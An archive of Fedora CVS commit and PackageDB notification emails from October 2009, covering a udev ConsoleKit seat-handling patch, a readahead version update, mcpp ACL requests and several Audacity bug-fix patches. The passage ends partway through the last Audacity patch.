In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20211

Modified Files:
	udev.spec 
Added Files:
	ck-runseat.patch 
Log Message:
This patch got lost in the devel -> F12  F13 -> devel transition phase

- add ConsoleKit patch for ConsoleKit 0.4.1


ck-runseat.patch:
 Makefile.am |    4 -
 udev-acl.c  |  207 +++++++++++++++++++++++++++++++++++++++++++++---------------
 2 files changed, 159 insertions(+), 52 deletions(-)

--- NEW FILE ck-runseat.patch ---
--- udev-145/extras/udev-acl/Makefile.am.runseat	2009-06-16 19:47:37.000000000 -0400
+++ udev-145/extras/udev-acl/Makefile.am	2009-09-25 20:21:41.959583372 -0400
@@ -15,5 +15,5 @@ udev_acl_LDADD = \
 dist_udevrules_DATA = 70-acl.rules
 
 install-exec-hook:
-	mkdir -p $(DESTDIR)$(prefix)/lib/ConsoleKit/run-session.d
-	ln -sf $(libexecdir)/udev-acl $(DESTDIR)$(prefix)/lib/ConsoleKit/run-session.d/udev-acl.ck
+	mkdir -p $(DESTDIR)$(prefix)/lib/ConsoleKit/run-seat.d
+	ln -sf $(libexecdir)/udev-acl $(DESTDIR)$(prefix)/lib/ConsoleKit/run-seat.d/udev-acl.ck
--- udev-145/extras/udev-acl/udev-acl.c.runseat	2009-06-16 12:10:58.000000000 -0400
+++ udev-145/extras/udev-acl/udev-acl.c	2009-09-25 20:57:32.502573825 -0400
@@ -1,4 +1,5 @@
-/*
+/* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*-
+ *
  * Copyright (C) 2009 Kay Sievers <kay.sievers at vrfy.org>
  *
  * This program is free software; you can redistribute it and/or
@@ -29,6 +30,13 @@
 
 static int debug;
 
+enum{
+	ACTION_NONE = 0,
+	ACTION_REMOVE,
+	ACTION_ADD,
+	ACTION_CHANGE
+};
+
 static int set_facl(const char* filename, uid_t uid, int add)
 {
 	int get;
@@ -152,44 +160,123 @@ static GSList *uids_with_local_active_se
 }
 
 /* ConsoleKit calls us with special variables */
-static int consolekit_called(const char *action, uid_t *uid, const char **own_session, int *add)
+static int consolekit_called(const char *ck_action, uid_t *uid, uid_t *uid2, const char **remove_session_id, int *action)
 {
-	int a;
-	uid_t u;
+	int a = ACTION_NONE;
+	uid_t u = 0;
+	uid_t u2 = 0;
 	const char *s;
-	const char *session;
-
-	if (action == NULL || strcmp(action, "session_active_changed") != 0)
-		return -1;
+	const char *s2;
+	const char *old_session = NULL;
 
-	s = getenv("CK_SESSION_IS_LOCAL");
-	if (s == NULL)
+	if (ck_action == NULL || strcmp(ck_action, "seat_active_session_changed") != 0)
 		return -1;
-	if (strcmp(s, "true") != 0)
-		return 0;
 
-	s = getenv("CK_SESSION_IS_ACTIVE");
-	if (s == NULL)
+	/* We can have one of: remove, add, change, no-change */
+	s = getenv("CK_SEAT_OLD_SESSION_ID");
+	s2 = getenv("CK_SEAT_SESSION_ID");
+	if (s == NULL && s2 == NULL) {
 		return -1;
-	if (strcmp(s, "true") == 0)
-		a = 1;
-	else
-		a = 0;
+	} else if (s2 == NULL) {
+		a = ACTION_REMOVE;
+	} else if (s == NULL) {
+		a = ACTION_ADD;
+	} else {
+		a = ACTION_CHANGE;
+	}
 
-	session = getenv("CK_SESSION_ID");
-	if (session == NULL)
-		return -1;
+	switch (a) {
+	case ACTION_ADD:
+		s = getenv("CK_SEAT_SESSION_USER_UID");
+		if (s == NULL)
+			return -1;
+		u = strtoul(s, NULL, 10);
+		if (u == 0)
+			return 0;
+
+		s = getenv("CK_SEAT_SESSION_IS_LOCAL");
+		if (s == NULL)
+			return -1;
+		if (strcmp(s, "true") != 0)
+			return 0;
+
+		break;
+	case ACTION_REMOVE:
+		s = getenv("CK_SEAT_OLD_SESSION_USER_UID");
+		if (s == NULL)
+			return -1;
+		u = strtoul(s, NULL, 10);
+		if (u == 0)
+			return 0;
+
+		s = getenv("CK_SEAT_OLD_SESSION_IS_LOCAL");
+		if (s == NULL)
+			return -1;
+		if (strcmp(s, "true") != 0)
+			return 0;
+
+		old_session = getenv("CK_SEAT_OLD_SESSION_ID");
+		if (old_session == NULL)
+			return -1;
+
+		break;
+	case ACTION_CHANGE:
+		s = getenv("CK_SEAT_OLD_SESSION_USER_UID");
+		if (s == NULL)
+			return -1;
+		u = strtoul(s, NULL, 10);
+		if (u == 0)
+			return 0;
+		s = getenv("CK_SEAT_SESSION_USER_UID");
+		if (s == NULL)
+			return -1;
+		u2 = strtoul(s, NULL, 10);
+		if (u2 == 0)
+			return 0;
+
+		s = getenv("CK_SEAT_OLD_SESSION_IS_LOCAL");
+		s2 = getenv("CK_SEAT_SESSION_IS_LOCAL");
+		if (s == NULL || s2 == NULL)
+			return -1;
+		/* don't process non-local session changes */
+		if (strcmp(s, "true") != 0 && strcmp(s2, "true") != 0)
+			return 0;
+
+		if (strcmp(s, "true") == 0 && strcmp(s, "true") == 0) {
+			/* process the change */
+			if (u == u2) {
+				/* special case: we noop if we are
+				 * changing between local sessions for
+				 * the same uid */
+				a = ACTION_NONE;
+			}
+			old_session = getenv("CK_SEAT_OLD_SESSION_ID");
+			if (old_session == NULL)
+				return -1;
+		} else if (strcmp(s, "true") == 0) {
+			/* only process the removal */
+			a = ACTION_REMOVE;
+			old_session = getenv("CK_SEAT_OLD_SESSION_ID");
+			if (old_session == NULL)
+				return -1;
+		} else if (strcmp(s2, "true") == 0) {
+			/* only process the addition */
+			a = ACTION_ADD;
+			u = u2;
+		}
 
-	s = getenv("CK_SESSION_USER_UID");
-	if (s == NULL)
-		return -1;
-	u = strtoul(s, NULL, 10);
-	if (u == 0)
-		return 0;
+		break;
+	case ACTION_NONE:
+		break;
+	default:
+		g_assert_not_reached ();
+		break;
+	}
 
-	*own_session = session;
+	*remove_session_id = old_session;
 	*uid = u;
-	*add = a;
+	*uid2 = u2;
+	*action = a;
 	return 0;
 }
 
@@ -223,6 +310,21 @@ static void apply_acl_to_devices(uid_t u
 	udev_unref(udev);
 }
 
+static void
+remove_uid (uid_t uid, const char *remove_session_id)
+{
+	/*
+	 * Remove ACL for given uid from all matching devices
+	 * when there is currently no local active session.
+	 */
+	GSList *list;
+
+	list = uids_with_local_active_session(remove_session_id);
+	if (!uid_in_list(list, uid))
+		apply_acl_to_devices(uid, 0);
+	g_slist_free(list);
+}
+
 int main (int argc, char* argv[])
 {
 	static const struct option options[] = {
@@ -233,10 +335,11 @@ int main (int argc, char* argv[])
 		{ "help", no_argument, NULL, 'h' },
 		{}
 	};
-	int add = -1;
+	int action = -1;
 	const char *device = NULL;
 	uid_t uid = 0;
-	const char* own_session = NULL;
+	uid_t uid2 = 0;
+	const char* remove_session_id = NULL;
 	int rc = 0;
 
 	/* valgrind is more important to us than a slice allocator */
@@ -252,9 +355,9 @@ int main (int argc, char* argv[])
 		switch (option) {
 		case 'a':
 			if (strcmp(optarg, "add") == 0 || strcmp(optarg, "change") == 0)
-				add = 1;
+				action = ACTION_ADD;
 			else if (strcmp(optarg, "remove") == 0)
-				add = 0;
+				action = ACTION_REMOVE;
 			else
 				goto out;
 			break;
@@ -274,10 +377,10 @@ int main (int argc, char* argv[])
 		}
 	}
 
-	if (add < 0 && device == NULL && uid == 0)
-		consolekit_called(argv[optind], &uid, &own_session, &add);
+	if (action < 0 && device == NULL && uid == 0)
+		consolekit_called(argv[optind], &uid, &uid2, &remove_session_id, &action);
 
-	if (add < 0) {
+	if (action < 0) {
 		fprintf(stderr, "missing action\n\n");
 		rc = 2;
 		goto out;
@@ -290,20 +393,24 @@ int main (int argc, char* argv[])
 	}
 
 	if (uid != 0) {
-		if (add) {
+		switch (action) {
+		case ACTION_ADD:
 			/* Add ACL for given uid to all matching devices. */
 			apply_acl_to_devices(uid, 1);
-		} else {
-			/*
-			 * Remove ACL for given uid from all matching devices
-			 * when there is currently no local active session.
-			 */
-			GSList *list;
-
-			list = uids_with_local_active_session(own_session);
-			if (!uid_in_list(list, uid))
-				apply_acl_to_devices(uid, 0);
-			g_slist_free(list);
+			break;
+		case ACTION_REMOVE:
+			remove_uid(uid, remove_session_id);
+			break;
+		case ACTION_CHANGE:
+			remove_uid(uid, remove_session_id);
+			apply_acl_to_devices(uid2, 1);
+			break;
+		case ACTION_NONE:
+			goto out;
+			break;
+		default:
+			g_assert_not_reached();
+			break;
 		}
 	} else if (device != NULL) {
 		/*
@@ -321,8 +428,8 @@ int main (int argc, char* argv[])
 			uid_t u;
 
 			u = GPOINTER_TO_UINT(l->data);
-			if (add || !uid_in_list(list, u))
-				set_facl(device, u, add);
+			if (action == ACTION_ADD || !uid_in_list(list, u))
+				set_facl(device, u, action == ACTION_ADD);
 		}
 		g_slist_free(list);
 	} else {


Index: udev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/udev/F-12/udev.spec,v
retrieving revision 1.295
retrieving revision 1.296
diff -u -p -r1.295 -r1.296
--- udev.spec	13 Oct 2009 10:37:13 -0000	1.295
+++ udev.spec	13 Oct 2009 10:43:22 -0000	1.296
@@ -5,7 +5,7 @@
 Summary: A userspace implementation of devfs
 Name: udev
 Version: 145
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2
 Group: System Environment/Base
 Provides: udev-persistent = %{version}-%{release}
@@ -19,7 +19,7 @@ Patch2: 0002-udevd-add-timestamp-to-debu
 Patch3: 0003-fix-wrong-parameter-size-on-ioctl-FIONREAD.patch
 Patch4: 0004-fix-single-session-CD-detection.patch
 Patch5: 0005-fix-previous-commit-for-CD-detection.patch
-
+Patch6: ck-runseat.patch
 
 Source1: start_udev
 Source3: udev-post.init
@@ -106,6 +106,7 @@ glib-based applications using libudev fu
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1 -b .ck041
 
 %build
 # get rid of rpath
@@ -323,7 +324,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{udev_scriptdir}/v4l_id
 %attr(0755,root,root) %{udev_scriptdir}/findkeyboards
 %attr(0644,root,root) %{udev_scriptdir}/keymaps/*
-%attr(0644,root,root) %{_prefix}/lib/ConsoleKit/run-session.d/udev-acl.ck
+%attr(0644,root,root) %{_prefix}/lib/ConsoleKit/run-seat.d/udev-acl.ck
 
 
 %files -n libudev
@@ -357,9 +358,12 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0644,root,root) %{_libdir}/pkgconfig/gudev-1.0*
 
 %changelog
-* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 145-10
+* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 145-11
 - recognize a devtmpfs on /dev (bug #528488)
 
+* Tue Sep 29 2009 Harald Hoyer <harald at redhat.com> 145-10
+- add ConsoleKit patch for ConsoleKit 0.4.1
+
 * Fri Sep 25 2009 harald at redhat.com 145-9
 - add patches to fix cdrom_id
 - add patch to fix the inotify bug (bug #524752)



From harald at fedoraproject.org  Tue Oct 13 10:56:55 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 13 Oct 2009 10:56:55 +0000 (UTC)
Subject: rpms/readahead/devel readahead.spec,1.61,1.62 sources,1.17,1.18
Message-ID: <20091013105655.7127511C00E8@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/readahead/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24567

Modified Files:
	readahead.spec sources 
Log Message:
* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 1.5.4-1
- cleanup readahead-collector audit rules
- translation update



Index: readahead.spec
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/devel/readahead.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- readahead.spec	15 Sep 2009 10:27:06 -0000	1.61
+++ readahead.spec	13 Oct 2009 10:56:55 -0000	1.62
@@ -1,12 +1,11 @@
 Summary:        Read a preset list of files into memory
 Name:           readahead
-Version:        1.5.1
-Release:        2%{?dist}
+Version:        1.5.4
+Release:        1%{?dist}
 Epoch:          1
 Group:          System Environment/Base
 License:        GPLv2+
 Source0:        readahead-%{version}.tar.bz2
-Patch1: 	readahead-1.5.1-noconsole.patch
 
 URL: 		https://fedorahosted.org/readahead/
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,7 +26,6 @@ needed. Its goal is to speed up the boot
 
 %prep
 %setup -q
-%patch1 -p1
 
 %build
 %configure --sbindir=/sbin
@@ -70,6 +68,16 @@ fi
 /sbin/readahead-collector
 
 %changelog
+* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 1.5.4-1
+- cleanup readahead-collector audit rules
+- translation update
+
+* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 1.5.3-1
+- fix readhead for new libaudit (bug #523400)
+- don't leak file descriptors (bug #525893)
+- also collect openat() calls
+- ignore files > 10MB
+
 * Tue Sep 15 2009 Harald Hoyer <harald at redhat.com> 1.5.1-2
 - remove console owner from collector (gets killed by SIGHUP)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	14 Sep 2009 15:17:49 -0000	1.17
+++ sources	13 Oct 2009 10:56:55 -0000	1.18
@@ -1 +1 @@
-abb783e835272290722da9d9affc618b  readahead-1.5.1.tar.bz2
+8055f4aa83431a5a5e6c50363cbc3397  readahead-1.5.4.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 13 11:04:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:04:32 +0000
Subject: [pkgdb] mcpp: mef has requested watchcommits
Message-ID: <20091013110432.ACF7010F87F@bastion2.fedora.phx.redhat.com>

mef has requested the watchcommits acl on mcpp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:04:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:04:37 +0000
Subject: [pkgdb] mcpp: mef has requested commit
Message-ID: <20091013110437.61A2010F889@bastion2.fedora.phx.redhat.com>

mef has requested the commit acl on mcpp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:04:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:04:43 +0000
Subject: [pkgdb] mcpp: mef has requested watchbugzilla
Message-ID: <20091013110444.0100A10F875@bastion2.fedora.phx.redhat.com>

mef has requested the watchbugzilla acl on mcpp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:04:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:04:47 +0000
Subject: [pkgdb] mcpp: mef has requested approveacls
Message-ID: <20091013110447.8DBE210F882@bastion2.fedora.phx.redhat.com>

mef has requested the approveacls acl on mcpp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:05:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:05:06 +0000
Subject: [pkgdb] mcpp: mef has requested watchbugzilla
Message-ID: <20091013110506.F3D9310F87F@bastion2.fedora.phx.redhat.com>

mef has requested the watchbugzilla acl on mcpp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:05:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:05:09 +0000
Subject: [pkgdb] mcpp: mef has requested watchcommits
Message-ID: <20091013110509.6D2B110F88B@bastion2.fedora.phx.redhat.com>

mef has requested the watchcommits acl on mcpp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:06:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:06:33 +0000
Subject: [pkgdb] mcpp: mef has requested commit
Message-ID: <20091013110633.B48D810F882@bastion2.fedora.phx.redhat.com>

mef has requested the commit acl on mcpp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:06:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:06:36 +0000
Subject: [pkgdb] mcpp: mef has requested approveacls
Message-ID: <20091013110636.9817D10F889@bastion2.fedora.phx.redhat.com>

mef has requested the approveacls acl on mcpp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:07:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:07:43 +0000
Subject: [pkgdb] mcpp: mef has requested watchbugzilla
Message-ID: <20091013110743.C9F5810F875@bastion2.fedora.phx.redhat.com>

mef has requested the watchbugzilla acl on mcpp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:07:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:07:55 +0000
Subject: [pkgdb] mcpp: mef has requested commit
Message-ID: <20091013110755.1FB7910F889@bastion2.fedora.phx.redhat.com>

mef has requested the commit acl on mcpp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:07:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:07:52 +0000
Subject: [pkgdb] mcpp: mef has requested watchcommits
Message-ID: <20091013110752.863DD10F875@bastion2.fedora.phx.redhat.com>

mef has requested the watchcommits acl on mcpp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From pkgdb at fedoraproject.org  Tue Oct 13 11:07:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 11:07:57 +0000
Subject: [pkgdb] mcpp: mef has requested approveacls
Message-ID: <20091013110757.638AC10F88B@bastion2.fedora.phx.redhat.com>

mef has requested the approveacls acl on mcpp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/mcpp



From mschwendt at fedoraproject.org  Tue Oct 13 11:24:13 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Tue, 13 Oct 2009 11:24:13 +0000 (UTC)
Subject: rpms/audacity/F-10 audacity-1.3.8-gsocket-conflict.patch, NONE,
	1.1 audacity-1.3.9-labelpopup.patch, NONE,
	1.1 audacity-1.3.9-labeltrack-crash.patch, NONE,
	1.1 audacity-1.3.9-libdir.patch, NONE, 1.1 audacity.spec, 1.66,
	1.67 audacity-1.3.6-flac-import.patch, 1.2,
	NONE audacity-1.3.7-audiodevdefaults.patch, 1.1,
	NONE audacity-1.3.7-libdir.patch, 1.1, NONE
Message-ID: <20091013112413.7590811C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacity/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv357

Modified Files:
	audacity.spec 
Added Files:
	audacity-1.3.8-gsocket-conflict.patch 
	audacity-1.3.9-labelpopup.patch 
	audacity-1.3.9-labeltrack-crash.patch 
	audacity-1.3.9-libdir.patch 
Removed Files:
	audacity-1.3.6-flac-import.patch 
	audacity-1.3.7-audiodevdefaults.patch 
	audacity-1.3.7-libdir.patch 
Log Message:
sync with F-11 for updates-testing : Audacity 1.3.9-beta

audacity-1.3.8-gsocket-conflict.patch:
 AudacityApp.cpp |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE audacity-1.3.8-gsocket-conflict.patch ---
diff -Nur audacity-src-1.3.8-orig/src/AudacityApp.cpp audacity-src-1.3.8/src/AudacityApp.cpp
--- audacity-src-1.3.8-orig/src/AudacityApp.cpp	2009-07-16 05:27:35.000000000 +0200
+++ audacity-src-1.3.8/src/AudacityApp.cpp	2009-07-20 23:45:41.000000000 +0200
@@ -331,7 +331,9 @@
 ///////////////////////////////////////////////////////////////////////////////
 
 #include <dlfcn.h>
-#include <gtk/gtk.h>
+/*#include <gtk/gtk.h>*/
+#include <glib/gtypes.h>
+#include <glib-object.h>
 
 typedef struct _GnomeProgram GnomeProgram;
 typedef struct _GnomeModuleInfo GnomeModuleInfo;

audacity-1.3.9-labelpopup.patch:
 TrackPanel.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE audacity-1.3.9-labelpopup.patch ---
diff -Nur audacity-src-1.3.9-orig/src/TrackPanel.cpp audacity-src-1.3.9/src/TrackPanel.cpp
--- audacity-src-1.3.9-orig/src/TrackPanel.cpp	2009-08-31 12:45:39.000000000 +0200
+++ audacity-src-1.3.9/src/TrackPanel.cpp	2009-09-14 08:52:22.764231346 +0200
@@ -4464,7 +4464,7 @@
    }
 
    
-   if (event.RightDown()) {
+   if (event.RightUp()) {
       // popup menu for editing
       RefreshTrack(lTrack);
      

audacity-1.3.9-labeltrack-crash.patch:
 LabelTrack.cpp |  110 ++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 LabelTrack.h   |    2 -
 Menus.cpp      |   17 +-------
 Project.cpp    |   18 +--------
 Project.h      |    4 --
 5 files changed, 112 insertions(+), 39 deletions(-)

--- NEW FILE audacity-1.3.9-labeltrack-crash.patch ---
diff -Nur audacity-src-1.3.9-orig/src/LabelTrack.cpp audacity-src-1.3.9/src/LabelTrack.cpp
--- audacity-src-1.3.9-orig/src/LabelTrack.cpp	2009-08-31 12:45:38.000000000 +0200
+++ audacity-src-1.3.9/src/LabelTrack.cpp	2009-09-12 14:59:27.000000000 +0200
@@ -57,6 +57,97 @@
 #include "Project.h"
 #include "commands/CommandManager.h"
 
+#if defined(__WXGTK__)
+// As of wxGTK 2.8.9, there is a problem in the wxClipboard class that
+// allows recursive event processing.  This problem has been corrected
+// by wxWidgets 2.9+.  However, this han't made it into a release yet,
+// so we have to work around it.
+//
+// This is done by pulling/merging in some code from wx29 and creating
+// the following class to capture events while accessing the clipboard
+// to prevent the asynchronous clipboard access from causing recursive
+// event processing.
+
+#include <wx/app.h>
+#include <wx/dynarray.h>
+
+#include <gtk/gtk.h>
+
+extern GtkWidget *wxGetRootWindow();
+
+static void main_do_event(GdkEvent *event, wxArrayPtrVoid *queue)
+{
+   switch (event->type)
+   {
+      case GDK_NOTHING:
+         // Ignore it
+      break;
+
+      case GDK_SELECTION_REQUEST:
+      case GDK_SELECTION_NOTIFY:
+      case GDK_SELECTION_CLEAR:
+#if GTK_CHECK_VERSION(2,6,0)
+      case GDK_OWNER_CHANGE:
+#endif
+         // process it now
+         gtk_main_do_event(event);
+      break;
+
+      default:
+         // process it later (but make a copy; the caller will free the event pointer)
+         queue->Add(gdk_event_copy(event));
+      break;
+   }
+
+   // don't allow idle callbacks while we're active
+   wxTheApp->SuspendIdleCallback();
+
+   return;
+}
+
+class CaptureEvents
+{
+ public:
+   CaptureEvents()
+   {
+#if wxUSE_LOG
+      // disable log flushing from here because a call to wxYield() shouldn't
+      // normally result in message boxes popping up &c
+      wxLog::Suspend();
+#endif
+
+      // temporarily replace the global GDK event handler with our function
+      gdk_event_handler_set((GdkEventFunc)main_do_event, &queue, NULL);
+
+      // temporarily suspend idle callbacks
+      wxTheApp->SuspendIdleCallback();
+   }
+
+   virtual ~CaptureEvents()
+   {
+      gdk_event_handler_set((GdkEventFunc)gtk_main_do_event, NULL, NULL);
+   
+      // put all unprocessed GDK events back in the queue
+      GdkDisplay* disp = gtk_widget_get_display(wxGetRootWindow());
+      size_t cnt = queue.GetCount();
+      for (size_t i = 0; i < cnt; i++) {
+         GdkEvent* event = (GdkEvent*)queue[i];
+         // NOTE: gdk_display_put_event makes a copy of the event passed to it
+         gdk_display_put_event(disp, event);
+         gdk_event_free(event);
+      }
+
+#if wxUSE_LOG
+      // let the logs be flashed again
+      wxLog::Resume();
+#endif
+   }
+
+ private:
+   wxArrayPtrVoid queue;
+};
+#endif
+
 wxFont LabelTrack::msFont;
 
 // static member variables.
@@ -74,13 +165,11 @@
 
 int LabelTrack::mFontHeight=-1;
 
-
 LabelTrack *TrackFactory::NewLabelTrack()
 {
    return new LabelTrack(mDirManager);
 }
 
-
 LabelTrack::LabelTrack(DirManager * projDirManager):
    Track(projDirManager),
    mbHitCenter(false),
@@ -969,6 +1058,9 @@
    
    // copy data onto clipboard
    if (wxTheClipboard->Open()) {
+#if defined(__WXGTK__)
+      CaptureEvents capture;
+#endif
       wxTheClipboard->SetData(new wxTextDataObject(data));
       wxTheClipboard->Close();
    }
@@ -1001,6 +1093,9 @@
 
    // copy the data on clipboard
    if (wxTheClipboard->Open()) {
+#if defined(__WXGTK__)
+      CaptureEvents capture;
+#endif
       wxTheClipboard->SetData(new wxTextDataObject(data));
       wxTheClipboard->Close();
    }
@@ -1021,10 +1116,13 @@
    wxString right=wxT("");
    
    // if text data is available
-   if (wxTheClipboard->IsSupported(wxDF_TEXT)) {
+   if (IsTextClipSupported()) {
       if (wxTheClipboard->Open()) {
+#if defined(__WXGTK__)
+         CaptureEvents capture;
+#endif
          wxTextDataObject data;
-         wxTheClipboard->GetData( data );
+         wxTheClipboard->GetData(data);
          wxTheClipboard->Close();
          text = data.GetText();
       }
@@ -1077,6 +1175,10 @@
 /// @return true if the text data is available in the clipboard, false otherwise
 bool LabelTrack::IsTextClipSupported()
 {
+#if defined(__WXGTK__)
+   CaptureEvents capture;
+#endif
+
    return wxTheClipboard->IsSupported(wxDF_TEXT);
 }
 
diff -Nur audacity-src-1.3.9-orig/src/LabelTrack.h audacity-src-1.3.9/src/LabelTrack.h
--- audacity-src-1.3.9-orig/src/LabelTrack.h	2009-08-31 12:45:38.000000000 +0200
+++ audacity-src-1.3.9/src/LabelTrack.h	2009-09-12 14:59:27.000000000 +0200
@@ -129,7 +129,7 @@
    bool CutSelectedText();
    bool CopySelectedText();
    bool PasteSelectedText(double sel0, double sel1);
-   bool IsTextClipSupported();
+   static bool IsTextClipSupported();
    
    // methods to set flags
    void SetDragXPos(const int d) { mDragXPos = d; };
diff -Nur audacity-src-1.3.9-orig/src/Menus.cpp audacity-src-1.3.9/src/Menus.cpp
--- audacity-src-1.3.9-orig/src/Menus.cpp	2009-08-31 12:45:38.000000000 +0200
+++ audacity-src-1.3.9/src/Menus.cpp	2009-09-12 15:18:22.150741538 +0200
@@ -1359,20 +1359,6 @@
          if (lt->IsTextSelected()) {
             flags |= CutCopyAvailableFlag;
          }
-
-         // See AudacityProject::OnUpdateUI() for an explanation
-         if (mInIdle) {
-            if (lt->IsTextClipSupported()) {
-               flags |= TextClipFlag;
-               mTextClipFlag = TextClipFlag;
-            }
-            else {
-               mTextClipFlag = 0;
-            }
-         }
-         else {
-            flags |= mTextClipFlag;
-         }
       }
       else if (t->GetKind() == Track::Wave) {
          flags |= WaveTracksExistFlag;
@@ -1422,6 +1408,9 @@
    if (GetZoom() > gMinZoom && (flags & TracksExistFlag))
       flags |= ZoomOutAvailableFlag;
 
+   if ((flags & LabelTracksExistFlag) && LabelTrack::IsTextClipSupported())
+      flags |= TextClipFlag;
+
    flags |= GetFocusedFrame();
 
    if (IsPlayRegionLocked())
diff -Nur audacity-src-1.3.9-orig/src/Project.cpp audacity-src-1.3.9/src/Project.cpp
--- audacity-src-1.3.9-orig/src/Project.cpp	2009-08-31 12:45:38.000000000 +0200
+++ audacity-src-1.3.9/src/Project.cpp	2009-09-12 15:18:29.746745064 +0200
@@ -653,13 +653,12 @@
                                  const wxSize & size)
    : wxFrame(parent, id, wxT("Audacity"), pos, size),
      mLastPlayMode(normalPlay),
+     mFreqWindow(NULL),
      mRate((double) gPrefs->Read(wxT("/SamplingRate/DefaultProjectSampleRate"), AudioIO::GetOptimalSupportedSampleRate())),
      mDefaultFormat((sampleFormat) gPrefs->
            Read(wxT("/SamplingRate/DefaultProjectSampleFormat"), floatSample)),
      mSnapTo(0), 
      mDirty(false),
-     mInIdle(false),
-     mTextClipFlag(0),
      mTrackPanel(NULL),
      mTrackFactory(NULL),
      mAutoScrolling(false),
@@ -689,8 +688,7 @@
      mWantSaveCompressed(false),
      mLastEffect(NULL),
      mLastEffectType(0),
-     mLastEffectDesc(_("Repeat Last Effect")),
-     mFreqWindow(NULL)
+     mLastEffectDesc(_("Repeat Last Effect"))
 {
    int widths[] = {-1, 130};
    mStatusBar = CreateStatusBar(2);
@@ -1644,19 +1642,7 @@
 
 void AudacityProject::OnUpdateUI(wxUpdateUIEvent & event)
 {
-   // As of wxGTK 2.8.9, there is a problem in the wxClipboard class that
-   // allows recursive event processing.  This problem has been corrected
-   // by wxWidgets changeset #45180.  However, this han't made it into a
-   // release yet, so we have to work around it.
-   //
-   // This is done by only checking the wxClipboard contents during an idle
-   // event, thus preventing possible recursion during other event processing.
-   //
-   mInIdle = true;
-
    UpdateMenus();
-
-   mInIdle = false;
 }
 
 void AudacityProject::OnActivate(wxActivateEvent & event)
diff -Nur audacity-src-1.3.9-orig/src/Project.h audacity-src-1.3.9/src/Project.h
--- audacity-src-1.3.9-orig/src/Project.h	2009-08-31 12:45:38.000000000 +0200
+++ audacity-src-1.3.9/src/Project.h	2009-09-12 15:18:26.812745135 +0200
@@ -431,10 +431,6 @@
 
    wxUint32 mLastFlags;
 
-   // see AudacityProject::OnUpdateUI() for explanation of next two
-   bool mInIdle;
-   wxUint32 mTextClipFlag;
-
    // Window elements
 
    wxTimer *mTimer;

audacity-1.3.9-libdir.patch:
 LoadLadspa.cpp |    2 +-
